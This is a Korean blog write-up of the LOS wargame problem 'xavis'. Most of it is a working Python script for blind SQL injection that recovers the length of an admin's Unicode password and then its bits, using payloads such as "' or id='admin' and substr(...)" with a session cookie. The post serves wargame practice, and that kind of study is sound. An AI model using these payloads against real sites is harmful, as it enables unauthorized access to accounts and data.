Web/LOS

LOS - xavis

cloudnaaam 2024. 10. 18. 21:43

19번째 문제 xavis 다.

 

regex, like 를 필터링하고, 정확한 pw 값을 찾아야 하는 blind injection 문제로 보인다.

나머지 함수들은 필터링이 없어 편하게 페이로드를 짤 수 있을 것 같다.

 

그런데 injection 하다가 한 가지 이상한 점이 보였다.

password 의 ascii 값 추출이 안된다.

 

혹시 멀티바이트인가 하고 각 자리의 bit length 를 구해보면

 

1,2,3 번째 글자가 16 비트인 것을 알 수 있다.

 

아마 ascii 가 아니라 유니코드일 것이다.

# password 길이
import requests

php = 'h3f5ptfm8b4nsjqe8o23jfji39'

for i in range(1,100):
    r = requests.get(url, params={'pw':f"' or id='admin' and length(pw)={i};-- -"}, cookies={'PHPSESSID':php})
    # print(r.text)
    if 'Hello admin' in r.text:
        print(f'password length = {i}')
        break
# 각 자리마다 bit 길이
for i in range(1,13):
    for j in range(1,20):
        r = requests.get(url, params={'pw':f"' or id='admin' and length(bin(ord(substr(pw,{i},1))))={j};-- -"}, cookies={'PHPSESSID':php})
        # print(r.text)
        if 'Hello admin' in r.text:
            print(f'{i} bit length = {j}')
            break
# password 구하기
password_list = []
for i in range(1,4):
    password = ''
    for j in range(1,17):
        r = requests.get(url, params={'pw':f"' or id='admin' and substr(bin(ord(substr(pw,{i},1))),{j},1)='1';-- -"}, cookies={'PHPSESSID':php})
        # print(r.text)
        if 'Hello admin' in r.text:
            password += '1'
            # print(password)
        else:
            password += '0'
            # print(password)
   
    print(password)
    password_list.append(password)

print(password_list)

for i in password_list:
    print(f'password --> {chr(int(i,2))}')

위 코드를 실행시키면

 

풀었다!

'Web > LOS' 카테고리의 다른 글

LOS - iron_golem  (0) 2024.10.18
LOS - dragon  (0) 2024.10.18
LOS - nightmare  (0) 2024.10.18
LOS - zombie_assassin  (0) 2024.10.18
LOS - succubus  (1) 2024.10.18